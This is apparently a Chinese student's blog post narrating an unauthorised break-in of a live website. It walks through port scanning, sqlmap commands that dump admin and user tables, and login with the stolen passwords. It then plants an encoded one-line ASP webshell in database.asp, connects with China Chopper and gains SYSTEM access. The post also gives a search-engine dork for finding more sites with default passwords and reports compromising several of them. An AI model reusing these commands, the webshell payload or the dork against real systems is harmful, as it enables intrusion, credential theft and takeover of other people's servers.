|
外网拿webshell一、查找目标网站,收集目标信息。1.1、扫描端口,扫描是否存在注入,旁站扫描 使用nmap扫描出来很多端口号,发现了3306为MySQL的默认端口。不过有些其他可以指定端口的软件,也可以指定使用这个端口。所以能确定。 扫描到了mssql端口,发现1433。 实用工具(safe3)进行扫描查找到了一些注入点,但是不是所有注入都可以进行注入的,要进行查证。 使用子域名查询并没有找到过多的旁站。 1.2、查找后台实用工具(明小子)进行后台查找,发现后台目录/system/,找到后台网址。 2、进行网站的尝试注入,查找注入点1、进行工具注入发现使用sqlmap工具更强大一些,将注入点进行爆破, sqlmap.py -u"http://www.com/order.asp?tyc=165"--current-db 发现: web服务器操作系统:Windows 2003或XP web应用技术:ASP.NET,Microsoft IIS 6.0,ASP 后端数据库管理系统:Microsoft Access (经过查询,知道了access它是没有库的,本身就是库) 尝试报表 sqlmap.py -u"http://www..com/order.asp?tyc=165" --tables 数据库:Microsoft_Access_masterdb,查看到了两张怀疑的表。 继续查看表中信息。 sqlmap.py -u"http://www.com/order.asp?tyc=165" --dump -T admin_user sqlmap.py -u"http://www.com/order.asp?tyc=165" --dump -T users 三、进行文件上传拿shell3.1、查找后台用户密码,登陆后台,查找上传点,进行文件上传http://www.com/system/ 发现后台的登陆表为admin_user 用户是:xinling 密码:122333 用户是:cxy 密码:122333 登录后台,查找上传点,进行文件上传。 发现了几个平时上传所需要的经验板块。 尝试方法1:新闻编辑 上传一张正常的图片木马,查看一下是否有文件路径。 在新闻编辑中查看到图片浏览,发现并没有发现文件的路径,连接菜刀文件报错。 尝试使用burp suite 抓包,查看文件路径 1)、正常上传一个图片木马,发现有时间戳渲染,但是有路径。 2)、尝试在路径处使用;号截断。发现并没有上传上去。 3)、使用上传添加产品类别,进行文件的上传。发现仍然是没有路径的。 3、发现database.asp文件最后的最后发现上传根本不行,纠结了一会,查看系统信息时,发现database.asp文件。 进过材料查找发现,在可以上传文件的地方,进行文件上传,会发现文件上传到了数据库中,相当于在数据库中插入了一句话木马,需要插入的一句话木马格式要为数据库格式。 菜刀连接,上传成功。 一句话木马:┼攠數畣整爠煥敵瑳∨≡┩愾 密码:a 利用漏洞。数据库默认配置为database.asp 参考查询的资料 菜刀连接,上传成功。清理上传后的数据库文件。 1、菜刀链接,尝试提权
连接的webshell,因为网站shell比较庞大,操作起来有比较慢。 使用菜刀尝试进行提权。发现权利已经是system。查看了一下C:\Documents and Settings\Administrator\ 总结在查找网站的时候,使用关键词(inurl:order.asp?/news.asp?),而且了解到查找使用关键词很重要。最后发现带有order.asp?关键词,而且后台在/system/目录下的网站,大部分后台密码是初始密码,尝试了几个站,发现可以直接上传数据库木马一句话,并且拿到webshell,而且不需要提权直接是最大权限。不知道这算不算0day拿shell!!!) 在校大三学生,初次拿到外网shell还是挺激动。
==================================== 在校学生,降低标准给予通过、
|